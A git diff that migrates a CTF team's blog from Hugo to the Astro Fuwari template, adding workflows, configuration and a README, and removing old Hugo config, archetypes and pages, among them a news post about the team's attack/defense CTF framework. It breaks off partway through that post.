diff --git a/.github/ISSUE_TEMPLATE/01-bug_report.yml b/.github/ISSUE_TEMPLATE/01-bug_report.yml new file mode 100644 index 00000000..5be1149c --- /dev/null +++ b/.github/ISSUE_TEMPLATE/01-bug_report.yml @@ -0,0 +1,59 @@ +name: Bug Report +description: Create a report to help us improve +title: "[Bug]: " +labels: ["bug"] +assignees: + - L4Ph + - saicaca +body: + - type: markdown + attributes: + value: | + Thanks for taking the time to fill out this bug report! + - type: textarea + id: bug-description + attributes: + label: Describe the bug + description: A clear and concise description of what the bug is. + validations: + required: true + - type: textarea + id: to-reproduce + attributes: + label: To Reproduce + description: Steps to reproduce the behavior. + placeholder: | + 1. Go to '...' + 2. Click on '....' + 3. Scroll down to '....' + 4. See error + validations: + required: true + - type: textarea + id: expected-behavior + attributes: + label: Expected behavior + description: A clear and concise description of what you expected to happen. + validations: + required: true + - type: dropdown + id: os + attributes: + label: OS + multiple: true + options: + - Windows + - macOS + - Linux + - Android + - iOS + - type: input + id: browser + attributes: + label: Browser + placeholder: e.g. chrome, safari + - type: textarea + id: additional-context + attributes: + label: Additional context + description: Add any other context about the problem here. diff --git a/.github/ISSUE_TEMPLATE/02-feature_request.yml b/.github/ISSUE_TEMPLATE/02-feature_request.yml new file mode 100644 index 00000000..9c657f16 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/02-feature_request.yml @@ -0,0 +1,41 @@ +name: Feature Request +description: Suggest an idea for this project +title: "[Feature]: " +labels: ["enhancement"] +assignees: + - saicaca +body: + - type: markdown + attributes: + value: | + Thanks for taking the time to fill out this feature request! + - type: textarea + id: related-problem + attributes: + label: Is your feature request related to a problem? + description: A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] + validations: + required: true + - type: textarea + id: solution + attributes: + label: Describe the solution you'd like + description: A clear and concise description of what you want to happen. + validations: + required: true + - type: textarea + id: alternatives + attributes: + label: Describe alternatives you've considered + description: A clear and concise description of any alternative solutions or features you've considered. + - type: textarea + id: additional-context + attributes: + label: Additional context + description: Add any other context or screenshots about the feature request here. + - type: markdown + attributes: + value: | + **Disclaimer** + + Please note that this feature request is at the discretion of the repository owner, @saicaca, and its implementation is not guaranteed. diff --git a/.github/ISSUE_TEMPLATE/03-custom_issue.yml b/.github/ISSUE_TEMPLATE/03-custom_issue.yml new file mode 100644 index 00000000..945b7217 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/03-custom_issue.yml @@ -0,0 +1,11 @@ +name: Custom Issue +description: Describe your issue here. +title: "[Other]: " +body: + - type: textarea + id: issue-description + attributes: + label: Issue Description + description: Please describe your issue. + validations: + required: true diff --git a/.github/dependabot.yml b/.github/dependabot.yml new file mode 100644 index 00000000..6f36d0a4 --- /dev/null +++ b/.github/dependabot.yml @@ -0,0 +1,22 @@ +version: 2 +updates: + - package-ecosystem: "npm" + directory: "/" + schedule: + interval: "daily" + groups: + patch-updates: + patterns: + - "*" + update-types: + - "patch" + minor-updates: + patterns: + - "*" + update-types: + - "minor" + pull-request-branch-name: + separator: "-" + ignore: + - dependency-name: "*" + update-types: ["version-update:semver-major"] diff --git a/.github/workflows/biome.yml b/.github/workflows/biome.yml new file mode 100644 index 00000000..b8d2281b --- /dev/null +++ b/.github/workflows/biome.yml @@ -0,0 +1,20 @@ +name: Code quality + +on: + push: + branches: [ main ] # Adjust branches as needed + pull_request: + branches: [ main ] # Adjust branches as needed + +jobs: + quality: + runs-on: ubuntu-latest + steps: + - name: Checkout + uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 + - name: Setup Biome + uses: biomejs/setup-biome@f382a98e582959e6aaac8e5f8b17b31749018780 # v2.5.0 + with: + version: latest + - name: Run Biome + run: biome ci ./src --reporter=github diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml new file mode 100644 index 00000000..d79658ee --- /dev/null +++ b/.github/workflows/build.yml @@ -0,0 +1,67 @@ +name: Build and Check + +on: + push: + branches: [ main ] # Adjust branches as needed + pull_request: + branches: [ main ] # Adjust branches as needed + +concurrency: + group: ${{ github.workflow }}-${{ github.ref }} + cancel-in-progress: true + +permissions: + contents: read + +jobs: + check: + strategy: + matrix: + node: [ 22, 23 ] + runs-on: ubuntu-latest + name: Astro Check for Node.js ${{ matrix.node }} + steps: + - name: Setup Node.js + uses: actions/setup-node@cdca7365b2dadb8aad0a33bc7601856ffabcc48e # v4.3.0 + with: + node-version: ${{ matrix.node }} # Use LTS + + - name: Checkout + uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 + + - name: Setup pnpm + uses: pnpm/action-setup@a7487c7e89a18df4991f7f222e4898a00d66ddda # v4.1.0 + with: + run_install: false # Disable auto-install + + - name: Install dependencies + run: pnpm install --frozen-lockfile + + - name: Run Astro Check + run: pnpm astro check + + build: + strategy: + matrix: + node: [ 22, 23 ] + runs-on: ubuntu-latest + name: Astro Build for Node.js ${{ matrix.node }} # Corrected job name + steps: + - name: Setup Node.js + uses: actions/setup-node@cdca7365b2dadb8aad0a33bc7601856ffabcc48e # v4.3.0 + with: + node-version: ${{ matrix.node }} + + - name: Checkout + uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 + + - name: Setup pnpm + uses: pnpm/action-setup@a7487c7e89a18df4991f7f222e4898a00d66ddda # v4.1.0 + with: + run_install: false # Disable auto-install + + - name: Install dependencies + run: pnpm install --frozen-lockfile + + - name: Run Astro Build + run: pnpm astro build diff --git a/.github/workflows/deploy.yml b/.github/workflows/deploy.yml new file mode 100644 index 00000000..208213a9 --- /dev/null +++ b/.github/workflows/deploy.yml @@ -0,0 +1,42 @@ +name: Deploy to GitHub Pages + +on: + # Trigger the workflow every time you push to the `main` branch + # Using a different branch name? Replace `main` with your branch’s name + push: + branches: [main] + # Allows you to run this workflow manually from the Actions tab on GitHub. + workflow_dispatch: + +# Allow this job to clone the repo and create a page deployment +permissions: + contents: read + pages: write + id-token: write + +jobs: + build: + runs-on: ubuntu-latest + steps: + - name: Checkout your repository using git + uses: actions/checkout@v5 + - name: Install, build, and upload your site + uses: withastro/action@v5 + # with: + # path: . # The root location of your Astro project inside the repository. (optional) + # node-version: 24 # The specific version of Node that should be used to build your site. Defaults to 22. (optional) + # package-manager: pnpm@latest # The Node package manager that should be used to install dependencies and build your site. Automatically detected based on your lockfile. (optional) + # build-cmd: pnpm run build # The command to run to build your site. Runs the package build script/task by default. (optional) + # env: + # PUBLIC_POKEAPI: 'https://pokeapi.co/api/v2' # Use single quotation marks for the variable value. (optional) + + deploy: + needs: build + runs-on: ubuntu-latest + environment: + name: github-pages + url: ${{ steps.deployment.outputs.page_url }} + steps: + - name: Deploy to GitHub Pages + id: deployment + uses: actions/deploy-pages@v4 diff --git a/.github/workflows/hugo.yaml b/.github/workflows/hugo.yaml deleted file mode 100644 index d2738633..00000000 --- a/.github/workflows/hugo.yaml +++ /dev/null @@ -1,79 +0,0 @@ -# Sample workflow for building and deploying a Hugo site to GitHub Pages -name: Deploy Hugo site to Pages - -on: - # Runs on pushes targeting the default branch - push: - branches: - - main - - # Allows you to run this workflow manually from the Actions tab - workflow_dispatch: - -# Sets permissions of the GITHUB_TOKEN to allow deployment to GitHub Pages -permissions: - contents: read - pages: write - id-token: write - -# Allow only one concurrent deployment, skipping runs queued between the run in-progress and latest queued. -# However, do NOT cancel in-progress runs as we want to allow these production deployments to complete. -concurrency: - group: "pages" - cancel-in-progress: false - -# Default to bash -defaults: - run: - shell: bash - -jobs: - # Build job - build: - runs-on: ubuntu-latest - env: - HUGO_VERSION: 0.131.0 - steps: - - name: Install Hugo CLI - run: | - wget -O ${{ runner.temp }}/hugo.deb https://github.com/gohugoio/hugo/releases/download/v${HUGO_VERSION}/hugo_extended_${HUGO_VERSION}_linux-amd64.deb \ - && sudo dpkg -i ${{ runner.temp }}/hugo.deb - - name: Install Dart Sass - run: sudo snap install dart-sass - - name: Checkout - uses: actions/checkout@v4 - with: - submodules: recursive - fetch-depth: 0 - - name: Setup Pages - id: pages - uses: actions/configure-pages@v5 - - name: Install Node.js dependencies - run: "[[ -f package-lock.json || -f npm-shrinkwrap.json ]] && npm ci || true" - - name: Build with Hugo - env: - HUGO_CACHEDIR: ${{ runner.temp }}/hugo_cache - HUGO_ENVIRONMENT: production - TZ: America/Los_Angeles - run: | - hugo \ - --gc \ - --minify \ - --baseURL "${{ steps.pages.outputs.base_url }}/" - - name: Upload artifact - uses: actions/upload-pages-artifact@v3 - with: - path: ./public - - # Deployment job - deploy: - environment: - name: github-pages - url: ${{ steps.deployment.outputs.page_url }} - runs-on: ubuntu-latest - needs: build - steps: - - name: Deploy to GitHub Pages - id: deployment - uses: actions/deploy-pages@v4 - diff --git a/.gitignore b/.gitignore new file mode 100644 index 00000000..b2b378eb --- /dev/null +++ b/.gitignore @@ -0,0 +1,31 @@ +# build output +dist/ + +# generated types +.astro/ + +# dependencies +node_modules/ + +# logs +npm-debug.log* +yarn-debug.log* +yarn-error.log* +pnpm-debug.log* + +# environment variables +.env +.env.production + +# macOS-specific files +.DS_Store + +.vercel + +package-lock.json +bun.lockb +yarn.lock + +# ide +.idea +*.iml diff --git a/.gitmodules b/.gitmodules deleted file mode 100644 index 1472d482..00000000 --- a/.gitmodules +++ /dev/null @@ -1,6 +0,0 @@ -[submodule "themes/bytethecookies-theme"] - path = themes/bytethecookies-theme - url = https://github.com/akiidjk/bytethecookies-theme.git -[submodule "themes/themes/bytethecookies-theme"] - path = themes/themes/bytethecookies-theme - url = https://github.com/akiidjk/bytethecookies-theme.git diff --git a/.hugo_build.lock b/.hugo_build.lock deleted file mode 100644 index e69de29b..00000000 diff --git a/.npmrc b/.npmrc new file mode 100644 index 00000000..6baea020 --- /dev/null +++ b/.npmrc @@ -0,0 +1 @@ +manage-package-manager-versions = true \ No newline at end of file diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100644 index 00000000..aa1295b8 --- /dev/null +++ b/CONTRIBUTING.md @@ -0,0 +1,21 @@ + +# Contributing + +Thank you for your interest in contributing! + +## Before You Start + +If you plan to make major changes (especially new features or design changes), please open an issue or discussion before starting work. This helps ensure your effort aligns with the project's direction. + +## Submitting Code + +Please keep each pull request focused on a single purpose. Avoid mixing unrelated changes in one PR, as this can make reviewing and merging code more difficult. + +Please use the [Conventional Commits](https://www.conventionalcommits.org/) format for your commit messages whenever possible. This keeps our history clear and consistent. + +Before submitting code, please run the appropriate commands to check for errors and format your code. + +```bash +pnpm check +pnpm format +``` \ No newline at end of file diff --git a/README.md b/README.md index 400588d0..31388602 100644 --- a/README.md +++ b/README.md @@ -1,50 +1,74 @@ -# ByteTheCookies +# BytetheCookies Blog - based on Fuwari Template -## Develop notes +A static blog template built with [Astro](https://astro.build). -Utils section for those developing the pages +## 🚀 Getting Started -### Setup -- `git clone --recurse-submodules git@github.com:ByteTheCookies/ByteTheCookies.github.io.git` -- Install hugo v0.131.0 +1. Create your blog repository: + - [Generate a new repository](https://github.com/saicaca/fuwari/generate) from this template or fork this repository. + - Or run one of the following commands: + ```sh + npm create fuwari@latest + yarn create fuwari + pnpm create fuwari@latest + bun create fuwari@latest + deno run -A npm:create-fuwari@latest + ``` +2. To edit your blog locally, clone your repository, run `pnpm install` to install dependencies. + - Install [pnpm](https://pnpm.io) `npm install -g pnpm` if you haven't. +3. Edit the config file `src/config.ts` to customize your blog. +4. Run `pnpm new-post ` to create a new post and edit it in `src/content/posts/`. +5. Deploy your blog to Vercel, Netlify, GitHub Pages, etc. following [the guides](https://docs.astro.build/en/guides/deploy/). You need to edit the site configuration in `astro.config.mjs` before deployment. -### Configuration +## 📝 Frontmatter of Posts -- The file to edit for the navbar is in /config/params -- The file to edit the various section is /config/menus/en or it -- The main config file are in /config +```yaml +--- +title: My First Blog Post +published: 2023-09-09 +description: This is the first post of my new Astro blog. +image: ./cover.jpg +authors: [akiidjk, anotherAuthor] # Optional, it not specified, the Anonymous author will be used +solves: 10 # Optional, number of solves if it's a CTF writeup -1 for remove it +points: 500 # Optional, points awarded if it's a CTF writeup -1 for remove it +firstblood: true # Optional, set to true if it's the first solve +tags: [web,crypto,etc../] +category: CTFName +draft: false +lang: en # Set only if the post's language differs from the site's language in `config.ts` +--- +``` -### Content +## 🧩 Markdown Extended Syntax -The page are structured in this mode: +In addition to Astro's default support for [GitHub Flavored Markdown](https://github.github.com/gfm/), several extra Markdown features are included: -```text -. -├── en -│   ├── about (main page) -│   │   ├── args1.md -│ │ ├── args2.md -│   │   └── index.md -│   ├── _index.md -│   └── Other content (Like Writeups/Credits/Events/...) -│   ├── _index.md -│   └── arg1.md -├── it - └─── _index.md +- Admonitions ([Preview and Usage](https://fuwari.vercel.app/posts/markdown-extended/#admonitions)) +- GitHub repository cards ([Preview and Usage](https://fuwari.vercel.app/posts/markdown-extended/#github-repository-cards)) +- Enhanced code blocks with Expressive Code ([Preview](https://fuwari.vercel.app/posts/expressive-code/) / [Docs](https://expressive-code.com/)) -``` +## ⚡ Commands + +All commands are run from the root of the project, from a terminal: -### Images/static elements +| Command | Action | +|:---------------------------|:----------------------------------------------------| +| `pnpm install` | Installs dependencies | +| `pnpm dev` | Starts local dev server at `localhost:4321` | +| `pnpm build` | Build your production site to `./dist/` | +| `pnpm preview` | Preview your build locally, before deploying | +| `pnpm check` | Run checks for errors in your code | +| `pnpm format` | Format your code using Biome | +| `pnpm new-post ` | Create a new post | +| `pnpm astro ...` | Run CLI commands like `astro add`, `astro check` | +| `pnpm astro --help` | Get help using the Astro CLI | -The images/icons and more are located in the "static" directory (it is not necessary to specify /static). +## ✏️ Contributing -### Layout +Check out the [Contributing Guide](https://github.com/saicaca/fuwari/blob/main/CONTRIBUTING.md) for details on how to contribute to this project. -[Details](https://kaiiiz.github.io/hugo-theme-monochrome/layouts/) +## 📄 License -### Writeups creations +This project is licensed under the MIT License. -1. Run `hugo new content --kind ctf writeups/namectf.md` -2. Create a directory with the name of CTF -3. Run `hugo new content --kind writeup writeups/namectf/namechallange.md` -4. Run ``` hugo server --buildDrafts ``` +[![FOSSA Status](https://app.fossa.com/api/projects/git%2Bgithub.com%2Fsaicaca%2Ffuwari.svg?type=large&issueType=license)](https://app.fossa.com/projects/git%2Bgithub.com%2Fsaicaca%2Ffuwari?ref=badge_large&issueType=license) diff --git a/archetypes/ctf.md b/archetypes/ctf.md deleted file mode 100644 index 75a812b0..00000000 --- a/archetypes/ctf.md +++ /dev/null @@ -1,32 +0,0 @@ -+++ -title = '' -author = "ByteTheCookies" -description = "" -date = {{ .Date }} -tags = [ - "CTF", -] -type = 'list' -+++ - -# Name ctf - -## Description - -... - -- [Url](https://url_to_ctf_website/) -- [Discord](discord_link) - -## Performance Summary - -- **CTFs**: n/M -- **Total points**: ... -- **Position**: n/M -- **Rating points**: ... - -## Writeups - -#### Category - -- [Name challange](/path/to/writeups/) diff --git a/archetypes/default.md b/archetypes/default.md deleted file mode 100644 index c6f3fcef..00000000 --- a/archetypes/default.md +++ /dev/null @@ -1,5 +0,0 @@ -+++ -title = '{{ replace .File.ContentBaseName "-" " " | title }}' -date = {{ .Date }} -draft = true -+++ diff --git a/archetypes/writeup.md b/archetypes/writeup.md deleted file mode 100644 index 6022f959..00000000 --- a/archetypes/writeup.md +++ /dev/null @@ -1,52 +0,0 @@ -+++ -title = '' -tags = [ - "category", - "language", - "attack type", - "n points", - "n solves", - "authors", -] -date = {{ .Date }} -draft = true -+++ - -{{ $capitalized := printf "%s" .File.BaseFileName | title }} - -

{{ replace $capitalized "_" " " }}

- -**Description**: ... - -## Introduction - -... - -## Source - -... - -```python -# filename: file.py - - - -``` - -... - -## Solution - -... - -```python -# filename: file.py - - - -``` - -```stdout -$ flag: flag{redacted} -``` -

Author: ...

diff --git a/assets/jsconfig.json b/assets/jsconfig.json deleted file mode 100644 index 7cfa2f7c..00000000 --- a/assets/jsconfig.json +++ /dev/null @@ -1,10 +0,0 @@ -{ - "compilerOptions": { - "baseUrl": ".", - "paths": { - "*": [ - "../themes/bytethecookies-theme/assets/*" - ] - } - } -} \ No newline at end of file diff --git a/astro.config.mjs b/astro.config.mjs new file mode 100644 index 00000000..c2143116 --- /dev/null +++ b/astro.config.mjs @@ -0,0 +1,170 @@ +import sitemap from "@astrojs/sitemap"; +import svelte from "@astrojs/svelte"; +import tailwind from "@astrojs/tailwind"; +import { pluginCollapsibleSections } from "@expressive-code/plugin-collapsible-sections"; +import { pluginLineNumbers } from "@expressive-code/plugin-line-numbers"; +import swup from "@swup/astro"; +import expressiveCode from "astro-expressive-code"; +import icon from "astro-icon"; +import { defineConfig } from "astro/config"; +import rehypeAutolinkHeadings from "rehype-autolink-headings"; +import rehypeComponents from "rehype-components";/* Render the custom directive content */ +import rehypeKatex from "rehype-katex"; +import rehypeSlug from "rehype-slug"; +import remarkDirective from "remark-directive";/* Handle directives */ +import remarkGithubAdmonitionsToDirectives from "remark-github-admonitions-to-directives"; +import remarkMath from "remark-math"; +import remarkSectionize from "remark-sectionize"; +import { expressiveCodeConfig } from "./src/config.ts"; +import { pluginLanguageBadge } from "./src/plugins/expressive-code/language-badge.ts"; +import { AdmonitionComponent } from "./src/plugins/rehype-component-admonition.mjs"; +import { GithubCardComponent } from "./src/plugins/rehype-component-github-card.mjs"; +import { parseDirectiveNode } from "./src/plugins/remark-directive-rehype.js"; +import { remarkExcerpt } from "./src/plugins/remark-excerpt.js"; +import { remarkReadingTime } from "./src/plugins/remark-reading-time.mjs"; +import { pluginCustomCopyButton } from "./src/plugins/expressive-code/custom-copy-button.js"; + +import react from "@astrojs/react"; + +// https://astro.build/config +export default defineConfig({ + site: "https://bytethecookies.org", + base: "/", + trailingSlash: "always", + server: { + allowedHosts: ["bytethecookies.org"], // Change to bytethecookies.org + }, + integrations: [tailwind({ + nesting: true, + }), swup({ + theme: false, + animationClass: "transition-swup-", // see https://swup.js.org/options/#animationselector + // the default value `transition-` cause transition delay + // when the Tailwind class `transition-all` is used + containers: ["main", "#toc"], + smoothScrolling: true, + cache: true, + preload: true, + accessibility: true, + updateHead: true, + updateBodyClass: false, + globalInstance: true, + }), icon({ + include: { + "preprocess: vitePreprocess(),": ["*"], + "fa6-brands": ["*"], + "fa6-regular": ["*"], + "fa6-solid": ["*"], + }, + }), expressiveCode({ + themes: [expressiveCodeConfig.theme, expressiveCodeConfig.theme], + plugins: [ + pluginCollapsibleSections(), + pluginLineNumbers(), + pluginLanguageBadge(), + pluginCustomCopyButton() + ], + defaultProps: { + wrap: true, + overridesByLang: { + 'shellsession': { + showLineNumbers: false, + }, + }, + }, + styleOverrides: { + codeBackground: "var(--codeblock-bg)", + borderRadius: "0.75rem", + borderColor: "none", + codeFontSize: "0.875rem", + codeFontFamily: "'JetBrains Mono Variable', ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, 'Liberation Mono', 'Courier New', monospace", + codeLineHeight: "1.5rem", + frames: { + editorBackground: "var(--codeblock-bg)", + terminalBackground: "var(--codeblock-bg)", + terminalTitlebarBackground: "var(--codeblock-topbar-bg)", + editorTabBarBackground: "var(--codeblock-topbar-bg)", + editorActiveTabBackground: "none", + editorActiveTabIndicatorBottomColor: "var(--primary)", + editorActiveTabIndicatorTopColor: "none", + editorTabBarBorderBottomColor: "var(--codeblock-topbar-bg)", + terminalTitlebarBorderBottomColor: "none" + }, + textMarkers: { + delHue: 0, + insHue: 180, + markHue: 250 + } + }, + frames: { + showCopyToClipboardButton: false, + } + }), svelte(), sitemap(), react()], + markdown: { + remarkPlugins: [ + remarkMath, + remarkReadingTime, + remarkExcerpt, + remarkGithubAdmonitionsToDirectives, + remarkDirective, + remarkSectionize, + parseDirectiveNode, + ], + rehypePlugins: [ + rehypeKatex, + rehypeSlug, + [ + rehypeComponents, + { + components: { + github: GithubCardComponent, + note: (x, y) => AdmonitionComponent(x, y, "note"), + tip: (x, y) => AdmonitionComponent(x, y, "tip"), + important: (x, y) => AdmonitionComponent(x, y, "important"), + caution: (x, y) => AdmonitionComponent(x, y, "caution"), + warning: (x, y) => AdmonitionComponent(x, y, "warning"), + }, + }, + ], + [ + rehypeAutolinkHeadings, + { + behavior: "append", + properties: { + className: ["anchor"], + }, + content: { + type: "element", + tagName: "span", + properties: { + className: ["anchor-icon"], + "data-pagefind-ignore": true, + }, + children: [ + { + type: "text", + value: "#", + }, + ], + }, + }, + ], + ], + }, + vite: { + build: { + rollupOptions: { + onwarn(warning, warn) { + // temporarily suppress this warning + if ( + warning.message.includes("is dynamically imported by") && + warning.message.includes("but also statically imported by") + ) { + return; + } + warn(warning); + }, + }, + }, + }, +}); diff --git a/biome.json b/biome.json new file mode 100644 index 00000000..b35dc590 --- /dev/null +++ b/biome.json @@ -0,0 +1,63 @@ +{ + "$schema": "https://biomejs.dev/schemas/2.2.0/schema.json", + "vcs": { + "enabled": false, + "clientKind": "git", + "useIgnoreFile": false + }, + "files": { + "ignoreUnknown": false, + "includes": [ + "**", + "!**/src/**/*.css", + "!**/src/public/**/*", + "!**/dist/**/*", + "!**/node_modules/**/*" + ] + }, + "formatter": { + "enabled": true, + "indentStyle": "tab" + }, + "assist": { "actions": { "source": { "organizeImports": "on" } } }, + "linter": { + "enabled": true, + "rules": { + "recommended": true, + "style": { + "noParameterAssign": "error", + "useAsConstAssertion": "error", + "useDefaultParameterLast": "error", + "useEnumInitializers": "error", + "useSelfClosingElements": "error", + "useSingleVarDeclarator": "error", + "noUnusedTemplateLiteral": "error", + "useNumberNamespace": "error", + "noInferrableTypes": "error", + "noUselessElse": "error" + } + } + }, + "javascript": { + "formatter": { + "quoteStyle": "double" + } + }, + "overrides": [ + { + "includes": ["**/*.svelte", "**/*.astro", "**/*.vue"], + "linter": { + "rules": { + "style": { + "useConst": "off", + "useImportType": "off" + }, + "correctness": { + "noUnusedVariables": "off", + "noUnusedImports": "off" + } + } + } + } + ] +} diff --git a/config/_default/config.toml b/config/_default/config.toml deleted file mode 100644 index 9a190317..00000000 --- a/config/_default/config.toml +++ /dev/null @@ -1,46 +0,0 @@ -baseURL = "https://bytethecookies.org/" -languageCode = "en" -title = "ByteTheCookies" -description = "ByteTheCookies is a blog about ctf team, programming, and other tech-related topics." -theme = "bytethecookies-theme" -defaultContentLanguage = "en" -enableEmoji = true -paginate = 5 -enableGitInfo = true - - -[social] -twitter = "ByteTheCookies" - -[taxonomies] -category = "categories" -tag = "tags" -series = "series" - -[outputs] -home = ["HTML", "RSS", "JSON"] - - -[params.categoryEmojis] -Web = "https://img.shields.io/badge/%F0%9F%8C%90%20-web-%238bbada?style=flat" -Netw = "https://img.shields.io/badge/%F0%9F%93%A1%20-netw-blue?style=flat" -Pwn = "https://img.shields.io/badge/%F0%9F%92%BB%20-pwn-%23e74c3c?style=flat" -Crypto = "https://img.shields.io/badge/%F0%9F%94%90%20-crypto-%23219b54?style=flat" -Forensic = "https://img.shields.io/badge/%F0%9F%95%B5%EF%B8%8F%20-forensic-%23f39c12?style=flat" -Osint = "https://img.shields.io/badge/%F0%9F%94%8D%20-osint-%238e44ad?style=flat" -Misc = "https://img.shields.io/badge/%F0%9F%94%A7%20-misc-%23d6d318?style=flat" -Rev = "https://img.shields.io/badge/%F0%9F%94%A8%20-rev-%2319703d?style=flat" -Block = "https://img.shields.io/badge/%F0%9F%94%97%20-block-%238f22ce?style=flat" -Hardware = "https://img.shields.io/badge/%E2%9A%99%20-hardware-orange?style=flat" -OG = "https://img.shields.io/badge/%F0%9F%8D%AA-og-%23C39953?style=flat&logoSize=2" - -[markup] -[markup.goldmark] -[markup.goldmark.extensions] -[markup.goldmark.extensions.passthrough] -enable = true -[markup.goldmark.extensions.passthrough.delimiters] -block = [['\[', '\]'], ['$$', '$$']] -inline = [['\(', '\)'], ['$', '$']] -[params] -math = true diff --git a/config/_default/languages.toml b/config/_default/languages.toml deleted file mode 100644 index 6a607fc5..00000000 --- a/config/_default/languages.toml +++ /dev/null @@ -1,5 +0,0 @@ -[en] -contentDir = "content" -languageName = "English" -languageCode = "en" -weight = 1 diff --git a/config/_default/markup.toml b/config/_default/markup.toml deleted file mode 100644 index 9b0295e2..00000000 --- a/config/_default/markup.toml +++ /dev/null @@ -1,16 +0,0 @@ -[goldmark.renderer] -unsafe = true - -[highlight] -anchorLineNos = false -codeFences = false -guessSyntax = false -hl_Lines = "" -lineAnchors = "" -lineNoStart = 1 -lineNos = false -lineNumbersInTable = true -noHl = false -noClasses = true -style = "monokai" -tabWidth = 4 diff --git a/config/_default/menus/menus.en.toml b/config/_default/menus/menus.en.toml deleted file mode 100644 index cb11c02f..00000000 --- a/config/_default/menus/menus.en.toml +++ /dev/null @@ -1,20 +0,0 @@ -[[navbar]] -identifier = "about" -name = "💻 About" -url = "/" -weight = 1 -[[navbar]] -identifier = "news" -name = "📰 News" -url = "/news/" -weight = 2 -[[navbar]] -identifier = "writeups" -name = "📑 Writeups" -url = "/writeups/" -weight = 3 -[[navbar]] -identifier = "contacts" -name = "✉️ Contacts" -url = "/Contacts/" -weight = 4 diff --git a/config/_default/params.toml b/config/_default/params.toml deleted file mode 100644 index 4343e883..00000000 --- a/config/_default/params.toml +++ /dev/null @@ -1,34 +0,0 @@ -navbar_title = 'ByteTheCookies' -footer = "Copyright © 2025 by ByteTheCookies Team | v1.0.5" -author = "ByteTheCookies" -color_scheme = "dark" - -enable_zooming_js = true -enable_header_anchor = true -enable_toc = true -enable_site_search = true -enable_math = false - -# SEO -enable_open_graph = true -enable_twitter_cards = true - -# Collapsible Menu -enable_collapsible_toc = true -enable_collapsible_changelogs = true - -[list_layout] -enable_group_by_year = true -enable_show_date = true -enable_pagination = true - -# syntax highlight settings -[syntax_highlight] -lib = "prism.js" # "builtin" | "prism.js" - -[syntax_highlight.builtin] -enable_code_copy = true - -[syntax_highlight.prism] -enable_code_copy = true -enable_line_no = false diff --git a/content/_index.md b/content/_index.md deleted file mode 100644 index 83fe5da1..00000000 --- a/content/_index.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -type: "balloon" -balloon_img_src: "/logo/logo.png" -balloon_img_src_dark: "/logo/logo.png" -balloon_circle: false -balloon_resources: "/about" -description: "ByteTheCookies is a blog about ctf team, programming, and other tech-related topics." -zooming_js: false -keywords: - - ctf - - ctf team - - team ctf salerno - - ByteTheCookies team - - ByteTheCookies CTF - - ByteTheCookies ctf - - ByteTheCookies cybersecurity - - ByteTheCookies competions - - ByteTheCookies writeups - - bytethecookies - - Bytethecookies ---- diff --git a/content/about/about.md b/content/about/about.md deleted file mode 100644 index 8cfac849..00000000 --- a/content/about/about.md +++ /dev/null @@ -1,6 +0,0 @@ ---- -title: "About us" -weight: 1 ---- - -Hello, we are ByteTheCookies (BTC), a passionate CTF team formed by students from the [University of Salerno](https://www.unisa.it/) after participating in the [CyberChallenge](https://cyberchallenge.it/) 2024. Our mission is to push the boundaries of our skills and knowledge in the ever-evolving field of IT security. We thrive on solving complex challenges, learning from each other, and staying ahead of the curve in cybersecurity. Whether it's cryptography, reverse engineering, web exploitation, or any other domain, we are committed to continuous growth and excellence. diff --git a/content/about/index.md b/content/about/index.md deleted file mode 100644 index cbb7365a..00000000 --- a/content/about/index.md +++ /dev/null @@ -1,3 +0,0 @@ -+++ -headless = true -+++ diff --git a/content/about/members.md b/content/about/members.md deleted file mode 100644 index 29bd6610..00000000 --- a/content/about/members.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -title: "Members" -weight: 2 ---- - -
- {{< card-member >}} -
diff --git a/content/changelog/_index.md b/content/changelog/_index.md deleted file mode 100644 index c535e427..00000000 --- a/content/changelog/_index.md +++ /dev/null @@ -1,5 +0,0 @@ -+++ -title = 'Changelog' -date = 2024-08-05T17:54:14+02:00 -draft = true -+++ diff --git a/content/contacts/_index.md b/content/contacts/_index.md deleted file mode 100644 index 12136026..00000000 --- a/content/contacts/_index.md +++ /dev/null @@ -1,14 +0,0 @@ -+++ -title = 'Contacts' -type = '' -+++ - -# Contacts - -For any inquiries, feel free to reach out via email at team@bytethecookies.org. You can also connect with us on our [Discord server](https://discord.gg/6fRmDyVDbs) to join the community. - -## Follow Us - -- **GitHub**: -- **X**: -- **LinkedIn**: diff --git a/content/news/_index.md b/content/news/_index.md deleted file mode 100644 index 01faf5b5..00000000 --- a/content/news/_index.md +++ /dev/null @@ -1,10 +0,0 @@ -+++ -title = 'News' -type='postcard' -+++ - - diff --git a/content/news/cookiefarmv1.0.1.md b/content/news/cookiefarmv1.0.1.md deleted file mode 100644 index 19c38820..00000000 --- a/content/news/cookiefarmv1.0.1.md +++ /dev/null @@ -1,46 +0,0 @@ -+++ -title='CookieFarm v1.0.1 🍪' -type='Postcard' -date = 2025-05-16T00:00:00+02:00 -+++ - - -# 🎉 CookieFarm v1.0.1 is available 🍪🐮 – Initial Stable Release! - -CookieFarm Logo - -We are excited to announce the release of version v1.0.1 of CookieFarm, our Attack/Defense CTF framework designed to make life easier for teams during A/D. - -## 🧠 What is CookieFarm? - -CookieFarm is a hybrid Go + Python A/D CTF framework inspired by DestructiveFarm, but with a significantly leaner approach in terms of RAM and CPU consumption. Our philosophy is "zero distractions": You just write the exploit logic; we take care of the rest. - -## 🚀 What's new in v1.0.1? - -- Responsive dashboard in HTMX and tailwindcss -- Backend in golang with Fiber framework -- Dynamic protocol loader -- Shared configuration -- Client golang with python exploiter manager integration -- Backend authentication ensures that there is no snitch -- Docker configuration for fast and easy server deploy -- Sqlite3 database for portability and efficiency - -## 🛠️ How it works - -![SCHEMA](https://github.com/ByteTheCookies/CookieFarm/blob/main/assets/arch_farm.png?raw=true) - -## 🔗 Try it now! - -👉 ByteTheCookies/Cookiefarm on GitHub: https://github.com/ByteTheCookies/Cookiefarm - -## 🍪 Why choose CookieFarm? - -- Hybrid Go + Python architecture. -- Automatic handling of exploits, 